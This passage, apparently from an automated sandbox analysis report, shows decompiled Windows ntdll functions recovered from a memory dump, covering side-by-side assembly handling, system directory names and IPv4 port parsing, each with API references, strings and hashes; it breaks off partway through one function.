Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: 577884fb3b695dcfa0b1f2b7fe93ecd7ca3c2e764f16450644cb03ef9efa92ad
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 85B1B070E9821F9BDB09CE69C890BEEB7B5EF46316F14C029DD50EB245D7319A418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D285969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6D285969(void* __ecx) {
				intOrPtr _v8;
				void* _v12;
				short* _t29;
				intOrPtr _t32;
				signed int* _t37;
				signed int _t38;
				void* _t41;
				intOrPtr _t43;
				signed int** _t44;
				signed int* _t45;
				void _t47;
				intOrPtr* _t49;
				void* _t51;

				_push(__ecx);
				_push(__ecx);
				_t51 = __ecx;
				if(__ecx == 0) {
					E6D2E5100(__ecx, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x20c, "This != NULL");
					_t47 = 0xc00000e5;
					L9:
					return _t47;
				}
				if( *((char*)(__ecx + 0x28)) == 0) {
					L7:
					_t47 = 0;
					L8:
					memset(_t51, 0, 0x2c);
					goto L9;
				}
				_t41 =  *(__ecx + 0x20);
				if(_t41 == 0 ||  *((intOrPtr*)(_t41 + 4)) == 0) {
					_t45 =  *(_t51 + 0x1c);
					if(_t45 != 0) {
						if(_t45[1] !=  *((intOrPtr*)(_t51 + 4))) {
							goto L5;
						}
						_t38 =  *_t51 & 0x0000ffff;
						if(_t38 > _t45[0]) {
							_push("rUS.Length <= This->PrivatePreallocatedString->MaximumLength");
							_push(0x219);
							goto L14;
						}
						 *_t45 = _t38;
						_t44 =  *(_t51 + 0x24);
						if(_t44 == 0) {
							goto L7;
						}
						_t37 =  *(_t51 + 0x1c);
						L19:
						 *_t44 = _t37;
						goto L7;
					}
					L5:
					if(_t41 == 0) {
						_t49 = _t51 + 8;
						if(_t49 != 0) {
							_t32 =  *_t49;
							if(_t32 != 0) {
								_t43 =  *((intOrPtr*)(_t51 + 0xc));
								if(_t32 != _t43) {
									_v8 = _t32;
									RtlFreeUnicodeString( &_v12);
									_t43 =  *((intOrPtr*)(_t51 + 0xc));
								}
								 *_t49 = _t43;
								 *((intOrPtr*)(_t51 + 0x10)) =  *((intOrPtr*)(_t51 + 0x14));
							}
						}
						_t29 =  *((intOrPtr*)(_t51 + 0xc));
						 *((intOrPtr*)(_t51 + 4)) = _t29;
						if(_t29 != 0) {
							 *_t29 = 0;
						}
						 *_t51 = 0;
						 *((short*)(_t51 + 2)) =  *((intOrPtr*)(_t51 + 0x14));
						goto L7;
					}
					 *_t41 =  *_t51;
					 *((intOrPtr*)(_t41 + 4)) =  *((intOrPtr*)(_t51 + 4));
					_t44 =  *(_t51 + 0x24);
					if(_t44 != 0) {
						_t37 =  *(_t51 + 0x20);
						goto L19;
					}
					goto L7;
				} else {
					_push("(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)");
					_push(0x214);
					L14:
					_push("minkernel\\ntdll\\sxsisol.cpp");
					_push("Internal error check failed");
					E6D2E5100(_t41);
					_t47 = 0xc00000e5;
					goto L8;
				}
			}

0x6d28596e
0x6d28596f
0x6d285971
0x6d285976
0x6d2bf9b3
0x6d2bf9b8
0x6d2859c6
0x6d2859cd
0x6d2859cd
0x6d285980
0x6d2859b7
0x6d2859b7
0x6d2859b9
0x6d2859be
0x00000000
0x6d2859c3
0x6d285982
0x6d285987
0x6d285993
0x6d285998
0x6d2bf9f7
0x00000000
0x00000000
0x6d2bf9fd
0x6d2bfa04
0x6d2bf9ce
0x6d2bf9d3
0x00000000
0x6d2bf9d3
0x6d2bfa06
0x6d2bfa09
0x6d2bfa0e
0x00000000
0x00000000
0x6d2bfa14
0x6d2bfa17
0x6d2bfa17
0x00000000
0x6d2bfa17
0x6d28599e
0x6d2859a0
0x6d2bfa1e
0x6d2bfa23
0x6d2bfa25
0x6d2bfa29
0x6d2bfa2b
0x6d2bfa30
0x6d2bfa32
0x6d2bfa39
0x6d2bfa3e
0x6d2bfa3e
0x6d2bfa44
0x6d2bfa46
0x6d2bfa46
0x6d2bfa29
0x6d2bfa49
0x6d2bfa4c
0x6d2bfa51
0x6d2bfa55
0x6d2bfa55
0x6d2bfa5a
0x6d2bfa61
0x00000000
0x6d2bfa61
0x6d2859a8
0x6d2859ad
0x6d2859b0
0x6d2859b5
0x6d2859ce
0x00000000
0x6d2859ce
0x00000000
0x6d2bf9c2
0x6d2bf9c2
0x6d2bf9c7
0x6d2bf9d8
0x6d2bf9d8
0x6d2bf9dd
0x6d2bf9e2
0x6d2bf9e7
0x00000000
0x6d2bf9e7

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6D26291C), ref: 6D2859BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6D26291C), ref: 6D2BF9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6D26291C), ref: 6D2BF9E2

Strings

(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6D2BF9C2
minkernel\ntdll\sxsisol.cpp, xrefs: 6D2BF9A9, 6D2BF9D8
This != NULL, xrefs: 6D2BF99F
Internal error check failed, xrefs: 6D2BF9AE, 6D2BF9DD
rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6D2BF9CE

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: 60bc8485993d316acc50f47ccf00caff6ef754c54ca69786d1b79d5815bd0642
Instruction ID: 4740ff53a746d5a70de2ec2212590c73c40c57a3219e9c4da1759901fa5c38f3
Opcode Fuzzy Hash: 60bc8485993d316acc50f47ccf00caff6ef754c54ca69786d1b79d5815bd0642
Instruction Fuzzy Hash: CE31A378299B0ADBE3288F19C440E37B3F1EF85719B11892EE89AD7642D371F8458790

Uniqueness

Uniqueness Score: -1.00%

Function 6D2819F0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2819F0(signed int __ecx, void* __edx, struct _EXCEPTION_RECORD _a4) {
				void* _t3;
				WCHAR* _t4;
				void* _t6;
				void* _t7;

				_t3 = (__ecx & 0x0000ffff) - 1;
				if(_t3 == 0) {
					_t4 = L"\\System32\\";
					if(__edx == 0) {
						_t4 = L"System32";
					}
					L4:
					RtlInitUnicodeString(_a4, _t4);
					return 0;
				}
				_t6 = _t3 - 0x14b;
				if(_t6 != 0) {
					_t7 = _t6 - 0x78;
					if(_t7 == 0) {
						if(__edx == 0) {
							_t4 = L"SysARM32";
						} else {
							_t4 = L"\\SysARM32\\";
						}
						goto L4;
					}
					if(_t7 == 0x38a0) {
						if(__edx == 0) {
							_t4 = L"SyCHPE32";
						} else {
							_t4 = L"\\SyCHPE32\\";
						}
						goto L4;
					}
					return 0xc000000d;
				} else {
					if(__edx != 0) {
						_t4 = L"\\SysWOW64\\";
					} else {
						_t4 = L"SysWOW64";
					}
					goto L4;
				}
			}

0x6d2819f8
0x6d2819fb
0x6d281a20
0x6d281a27
0x6d281a29
0x6d281a29
0x6d281a11
0x6d281a15
0x00000000
0x6d281a1a
0x6d2819fd
0x6d281a02
0x6d2bd31c
0x6d2bd31f
0x6d2bd34c
0x6d2bd358
0x6d2bd34e
0x6d2bd34e
0x6d2bd34e
0x00000000
0x6d2bd34c
0x6d2bd326
0x6d2bd334
0x6d2bd340
0x6d2bd336
0x6d2bd336
0x6d2bd336
0x00000000
0x6d2bd334
0x00000000
0x6d281a08
0x6d281a0a
0x6d281a30
0x6d281a0c
0x6d281a0c
0x6d281a0c
0x00000000
0x6d281a0a

APIs

RtlInitUnicodeString.1105(?,\System32\,?,6D2819C0,?,?,\SysWOW64,02140000,00000000,?,?), ref: 6D281A15

Strings

SysWOW64, xrefs: 6D281A0C
SyCHPE32, xrefs: 6D2BD340
System32, xrefs: 6D281A11, 6D281A29
\SyCHPE32\, xrefs: 6D2BD336
\SysARM32\, xrefs: 6D2BD34E
\System32\, xrefs: 6D281A20
SysARM32, xrefs: 6D2BD358
\SysWOW64\, xrefs: 6D281A30

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID: SyCHPE32$SysARM32$SysWOW64$System32$\SyCHPE32\$\SysARM32\$\SysWOW64\$\System32\
API String ID: 4228678080-2516413534
Opcode ID: 078b8be9ee06731b77281ea5a51c1418eab0b71ece6e5db68e9829af261d9e2f
Instruction ID: e78a8510753e63077f0da6d157552ad3155bed60ad303ef746a499fbfeb977f0
Opcode Fuzzy Hash: 078b8be9ee06731b77281ea5a51c1418eab0b71ece6e5db68e9829af261d9e2f
Instruction Fuzzy Hash: 26F036B52F811F869703443C8A80BB69A047742395B058172BC62DF5DFD11BCECCC687

Uniqueness

Uniqueness Score: -1.00%

Function 6D2471D0, Relevance: 13.7, APIs: 9, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6D2471D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t49;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t66;
				void* _t69;
				void* _t70;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t84;
				short* _t85;
				intOrPtr _t86;
				intOrPtr* _t87;
				intOrPtr* _t88;

				if(_a4 == 0 || _a12 == 0) {
					L4:
					return 0xc000000d;
				} else {
					_t85 = _a16;
					if(_t85 == 0 || E6D247220(_a4, _a8,  &_v12, _a12) < 0) {
						goto L4;
					} else {
						_t87 = _v12;
						_t35 =  *_t87;
						if(_t35 != 0x3a) {
							if(_t35 != 0) {
								goto L4;
							}
							_v8 = _v8 & 0x00000000;
							L37:
							 *_t85 = _v8;
							return 0;
						}
						_v8 = _v8 & 0x00000000;
						_t88 = _t87 + 1;
						_t38 = 0xa;
						_v12 = _t38;
						_t83 = 0x10;
						if( *_t88 == 0x30) {
							_t12 = _t88 + 1; // 0x2
							_t82 = _t12;
							_v12 = 8;
							_t88 = _t82;
							_t38 =  *_t88;
							if(_t38 == 0x78 || _t38 == 0x58) {
								_v12 = _t83;
								_t15 = _t82 + 1; // 0x3
								_t88 = _t15;
							}
						}
						_t66 =  *_t88;
						if(_t66 == 0) {
							L33:
							if(_t66 != 0) {
								goto L37;
							}
							goto L4;
						} else {
							do {
								_t86 = _t66;
								_t88 = _t88 + 1;
								_t39 = E6D28CB30(_t38, _t86);
								_pop(_t69);
								if(_t39 == 0) {
									_t84 = _v12;
									L18:
									_t40 = 0x10;
									if(_t84 != _t40) {
										goto L4;
									}
									_t41 = E6D28CB30(_t40, _t86);
									_pop(_t70);
									if(_t41 == 0 || E6D28CDD0(_t70, _t86) == 0) {
										goto L4;
									} else {
										_t43 = E6D28CB30(_t42, _t86);
										_pop(_t72);
										if(_t43 == 0 || E6D28CCE0(_t72, _t86) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_pop(_t73);
										_t48 = ((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86;
										if(((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86 > 0xffff) {
											goto L4;
										} else {
											_v8 = _v8 << 4;
											_t49 = E6D28CB30(_t48, _t86);
											_pop(_t74);
											if(_t49 == 0 || E6D28CCE0(_t74, _t86) == 0) {
												_push(0x41);
											} else {
												_push(0x61);
											}
											_pop(_t75);
											_t76 = 0xa;
											_t38 = _t66 - _t75 + _t76;
											_v8 = _v8 + _t66 - _t75 + _t76;
											goto L31;
										}
									}
								}
								_t54 = E6D28CC80(_t69, _t86);
								_t84 = _v12;
								if(_t54 == 0) {
									goto L18;
								}
								_t55 = _t66;
								_v16 = _t55;
								if(_t55 + 0xffffffd0 >= _t84) {
									goto L18;
								}
								if((_v8 & 0x0000ffff) * (_t84 & 0x0000ffff) + 0xffffffd0 + _t86 > 0xffff) {
									goto L4;
								}
								_t38 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								_v8 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								L31:
								_t66 =  *_t88;
							} while (_t66 != 0);
							_t85 = _a16;
							goto L33;
						}
					}
				}
			}

0x6d2471df
0x6d247208
0x00000000
0x6d2471e7
0x6d2471e7
0x6d2471ec
0x00000000
0x6d2a22f2
0x6d2a22f2
0x6d2a22f5
0x6d2a22f9
0x6d2a2446
0x00000000
0x00000000
0x6d2a244c
0x6d2a2450
0x6d2a245a
0x00000000
0x6d2a245a
0x6d2a22ff
0x6d2a2303
0x6d2a2306
0x6d2a230c
0x6d2a230f
0x6d2a2310
0x6d2a2312
0x6d2a2312
0x6d2a2315
0x6d2a231c
0x6d2a231e
0x6d2a2322
0x6d2a2328
0x6d2a232b
0x6d2a232b
0x6d2a232b
0x6d2a2322
0x6d2a2330
0x6d2a2334
0x6d2a243b
0x6d2a243d
0x00000000
0x00000000
0x00000000
0x6d2a233a
0x6d2a233a
0x6d2a233a
0x6d2a233d
0x6d2a233f
0x6d2a2344
0x6d2a2347
0x6d2a2399
0x6d2a239c
0x6d2a239e
0x6d2a23a2
0x00000000
0x00000000
0x6d2a23a9
0x6d2a23ae
0x6d2a23b1
0x00000000
0x6d2a23c6
0x6d2a23c7
0x6d2a23cc
0x6d2a23cf
0x6d2a23e0
0x6d2a23dc
0x6d2a23dc
0x6d2a23dc
0x6d2a23e9
0x6d2a23ef
0x6d2a23f6
0x00000000
0x6d2a23fc
0x6d2a23fc
0x6d2a2401
0x6d2a2406
0x6d2a2409
0x6d2a241a
0x6d2a2416
0x6d2a2416
0x6d2a2416
0x6d2a241c
0x6d2a2426
0x6d2a2427
0x6d2a242a
0x00000000
0x6d2a242a
0x6d2a23f6
0x6d2a23b1
0x6d2a234a
0x6d2a234f
0x6d2a2355
0x00000000
0x00000000
0x6d2a2357
0x6d2a235b
0x6d2a2364
0x00000000
0x00000000
0x6d2a237a
0x00000000
0x00000000
0x6d2a238e
0x6d2a2391
0x6d2a242e
0x6d2a242e
0x6d2a2430
0x6d2a2438
0x00000000
0x6d2a2438
0x6d2a2334
0x6d2471ec

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6D2471FB

Part of subcall function 6D247220: __isascii.1105(0000000A,?), ref: 6D247275
Part of subcall function 6D247220: isdigit.1105(00000000,?), ref: 6D247283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6D2A233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6D2A234A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: f1609bc7ea166bddeb960a621f09d7ae888541b5bd9484fb6626c732758c919f
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: DF4169759C420F97EB268A65E8507FE77B4DF43721F28812AEDA0AB1C0D734C546D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D46A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D2D46A4(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				signed int _t126;
				signed int _t127;
				intOrPtr* _t145;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t167;
				int _t168;
				intOrPtr _t169;
				signed int _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				void* _t175;
				short* _t176;
				signed int _t177;
				void* _t178;

				_t153 = __ecx;
				_t177 = 0;
				_v20 = 0xc00000e5;
				_t172 = _a12;
				_t145 = __edx;
				_v8 = 0;
				_v24 = 0;
				if(_t172 != 0) {
					 *_t172 = 0;
				}
				_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x18)) + _t153 + 8));
				_v16 =  *_t145;
				if( *_t145 < _t162 - 1) {
					E6D271D47( &_v20, _a4, _a8, _t172, 0x58, _t153, _t153, 2,  &_v8,  &_v28);
					if(_v24 == 0) {
						_t177 = _v20;
					} else {
						_t164 = _v8;
						_t19 = _t145 + 4; // 0x0
						_t115 =  *_t19;
						_v24 = _t115;
						_t155 =  *((intOrPtr*)(_t164 + 0x14));
						if(_t115 < _t155) {
							_t116 =  *((intOrPtr*)(_t164 + 0x18));
							if(_t116 == 0) {
								L16:
								_t177 = 0xc0150015;
							} else {
								_v20 = _t177;
								_v12 = _t116 + _t164;
								_v16 = _t177;
								if(_t155 != 0) {
									_v28 =  *_t145 + 1;
									_t147 = _v12 + 0xc;
									_t120 = _v24;
									do {
										_t166 = _v8;
										if( *((intOrPtr*)(_t147 + 8)) != _v28) {
											goto L15;
										} else {
											if(_v20 != _t120 ||  *_t147 == _t177) {
												_v20 = _v20 + 1;
												goto L15;
											} else {
												_t157 =  *_t147 + _t166;
												_v24 = _t157;
												if(_t157 == 0) {
													goto L16;
												} else {
													_t148 = _v16 * 0x18;
													_t121 = 0x14;
													_v20 = _t148;
													_t149 =  *((intOrPtr*)(_t148 + _v12 + 8));
													_t174 = _a12;
													if(_t149 != 0) {
														_t121 = _t149 + 0x16;
													}
													_t150 =  *((intOrPtr*)(_t157 + 8));
													if(_t150 != 0) {
														_t121 = _t121 + 2 + _t150;
													}
													if(_t121 <= _a8) {
														_t151 = _a4;
														_t167 = _v12;
														 *_t151 =  *((intOrPtr*)(_t157 + 4));
														_t51 = _t151 + 0x14; // 0x15
														_t175 = _t51;
														 *((intOrPtr*)(_t151 + 4)) =  *((intOrPtr*)(_v20 + _t167 + 8));
														 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t157 + 8));
														_t126 = _v20;
														 *(_t151 + 0xc) = _t177;
														 *(_t151 + 0x10) = _t177;
														_t168 =  *((intOrPtr*)(_t126 + _t167 + 8));
														_v28 = _t168;
														_t169 = _v8;
														if(_t168 != 0) {
															memcpy(_t175,  *((intOrPtr*)(_t126 + _v12 + 4)) + _t169, _v28);
															_t178 = _t178 + 0xc;
															 *(_t151 + 0xc) = _t175;
															_t176 = _t175 +  *((intOrPtr*)(_v20 + _v12 + 8));
															_t157 = _v24;
															 *_t176 = 0;
															_t175 = _t176 + 2;
														}
														if( *((intOrPtr*)(_t157 + 8)) != _t177) {
															_t127 =  *(_t157 + 0x10);
															if(_t127 != 0) {
																_t171 = _t127 * 0x2c + _v8;
																_v20 = _t171;
																if(_t171 != 0) {
																	 *(_t151 + 0x10) = _t175;
																	_t152 = _t177;
																	if( *((intOrPtr*)(_t157 + 0xc)) <= _t177) {
																		L37:
																		 *_t175 = 0;
																	} else {
																		_t158 = _v24;
																		_v28 = _a4 + _a8;
																		while( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) + 2 + _t175 <= _v28) {
																			if( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) != _t177) {
																				memcpy(_t175, _v8 +  *((intOrPtr*)(_t171 + 4 + _t152 * 8)),  *(_t171 + _t152 * 8));
																				_t171 = _v20;
																				_t178 = _t178 + 0xc;
																				_t158 = _v24;
																				_t175 = _t175 +  *(_t171 + _t152 * 8);
																			}
																			_t152 = _t152 + 1;
																			if(_t152 <  *((intOrPtr*)(_t158 + 0xc))) {
																				continue;
																			} else {
																				goto L37;
																			}
																			goto L39;
																		}
																		goto L16;
																	}
																}
															}
														}
													} else {
														if(_t174 != 0) {
															 *_t174 = _t121;
														}
														_t177 = 0xc0000023;
													}
												}
											}
										}
										goto L39;
										L15:
										_v16 = _v16 + 1;
										_t147 = _t147 + 0x18;
									} while (_v16 < _t155);
								}
								goto L16;
							}
						} else {
							_push( *_t145);
							_push(_t155);
							_push(_t115);
							E6D2D5720(0x33, _t177, "SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
							goto L4;
						}
					}
				} else {
					_push(_t162);
					_push(_v16);
					E6D2D5720(0x33, _t177, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
					L4:
					_t177 = 0xc000000d;
				}
				L39:
				return _t177;
			}

0x6d2d46a4
0x6d2d46ae
0x6d2d46b0
0x6d2d46b8
0x6d2d46bb
0x6d2d46bd
0x6d2d46c0
0x6d2d46c5
0x6d2d46c7
0x6d2d46c7
0x6d2d46cc
0x6d2d46d2
0x6d2d46da
0x6d2d471b
0x6d2d4727
0x6d2d48c0
0x6d2d472d
0x6d2d472d
0x6d2d4730
0x6d2d4730
0x6d2d4733
0x6d2d4736
0x6d2d473b
0x6d2d4758
0x6d2d475d
0x6d2d479f
0x6d2d479f
0x6d2d475f
0x6d2d4761
0x6d2d4764
0x6d2d4767
0x6d2d476c
0x6d2d4774
0x6d2d4777
0x6d2d477a
0x6d2d477d
0x6d2d4783
0x6d2d4786
0x00000000
0x6d2d4788
0x6d2d478b
0x6d2d4791
0x00000000
0x6d2d47a9
0x6d2d47ab
0x6d2d47ad
0x6d2d47b0
0x00000000
0x6d2d47b2
0x6d2d47b2
0x6d2d47bb
0x6d2d47bc
0x6d2d47bf
0x6d2d47c3
0x6d2d47c8
0x6d2d47ca
0x6d2d47ca
0x6d2d47cd
0x6d2d47d2
0x6d2d47d7
0x6d2d47d7
0x6d2d47dc
0x6d2d47ee
0x6d2d47f4
0x6d2d47f7
0x6d2d47f9
0x6d2d47f9
0x6d2d4803
0x6d2d4809
0x6d2d480c
0x6d2d480f
0x6d2d4812
0x6d2d4815
0x6d2d481b
0x6d2d481e
0x6d2d4821
0x6d2d4831
0x6d2d4839
0x6d2d483f
0x6d2d4842
0x6d2d4848
0x6d2d484b
0x6d2d484e
0x6d2d484e
0x6d2d4854
0x6d2d4856
0x6d2d485b
0x6d2d4860
0x6d2d4863
0x6d2d4866
0x6d2d4868
0x6d2d486b
0x6d2d4870
0x6d2d48b9
0x6d2d48bb
0x6d2d4872
0x6d2d4878
0x6d2d487b
0x6d2d487e
0x6d2d4894
0x6d2d48a2
0x6d2d48a7
0x6d2d48aa
0x6d2d48ad
0x6d2d48b0
0x6d2d48b0
0x6d2d48b3
0x6d2d48b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2d48b7
0x00000000
0x6d2d487e
0x6d2d4870
0x6d2d4866
0x6d2d485b
0x6d2d47de
0x6d2d47e0
0x6d2d47e2
0x6d2d47e2
0x6d2d47e4
0x6d2d47e4
0x6d2d47dc
0x6d2d47b0
0x6d2d478b
0x00000000
0x6d2d4794
0x6d2d4794
0x6d2d4797
0x6d2d479a
0x6d2d477d
0x00000000
0x6d2d476c
0x6d2d473d
0x6d2d473d
0x6d2d473f
0x6d2d4740
0x6d2d474e
0x00000000
0x6d2d4753
0x6d2d473b
0x6d2d46dc
0x6d2d46dc
0x6d2d46dd
0x6d2d46ed
0x6d2d46f5
0x6d2d46f5
0x6d2d46f5
0x6d2d48c4
0x6d2d48cb

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6D2917F0,00000000,?,00000000,?), ref: 6D2D46ED

Part of subcall function 6D271D47: memset.1105(00000000,00000000,6D2917F0,?,00000001,00000000,?,6D248D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6D271D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6D31FE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6D2D474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6D2917F0,00000000,?,00000000), ref: 6D2D4831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6D2917F0,00000000,?,00000000), ref: 6D2D48A2

Strings

SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6D2D4746
RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6D2D46E0, 6D2D4741
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6D2D46E5

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: f3302e0b87fc8d65abd606117490b5fffc882e729be068d034f25c8721734a21
Instruction ID: 4c6d5dc1f5183440c2af8596de479e4bea400b8bda0925ba54d5e608fb3e224b
Opcode Fuzzy Hash: f3302e0b87fc8d65abd606117490b5fffc882e729be068d034f25c8721734a21
Instruction Fuzzy Hash: C3813D75E4021EDFDB41CF88C8C0AAEB7B5FF49345B258559E914AB306D330EA52CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D4496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6D2D4496(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				short _v12;
				char _v16;
				char _v20;
				intOrPtr _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr* _t128;
				void* _t154;
				intOrPtr _t155;
				intOrPtr* _t162;
				void* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				void* _t171;
				short* _t172;
				short* _t173;
				short* _t174;
				void* _t175;

				_t170 = _a12;
				_t167 = __edx;
				_v16 = 0xc00000e5;
				_t165 = __ecx;
				_v12 = 0;
				if(_t170 != 0) {
					 *_t170 = 0;
				}
				_t96 =  *((intOrPtr*)(_t165 + 0x18));
				_t154 =  *((intOrPtr*)(_t96 + _t165 + 0xc)) + _t165;
				if(_t167 <  *((intOrPtr*)(_t96 + _t165 + 8))) {
					asm("lfence");
					_push( &_v20);
					_t169 =  *((intOrPtr*)(_t167 * 0x18 + _t154 + 0x10)) + _t165;
					_push( &_v8);
					_push(1);
					_push(0);
					_push(_t165);
					_t155 = 0x58;
					_push(_t155);
					_push(_t170);
					_push(_a8);
					_push(_a4);
					E6D271D47( &_v16);
					if(_v12 == 0) {
						return _v16;
					}
					_t20 = _t169 + 8; // 0xffffff98
					_t106 =  *_t20;
					if(_t106 != 0) {
						_t21 = _t106 + 0x5a; // 0xfffffff2
						_t155 = _t21;
					}
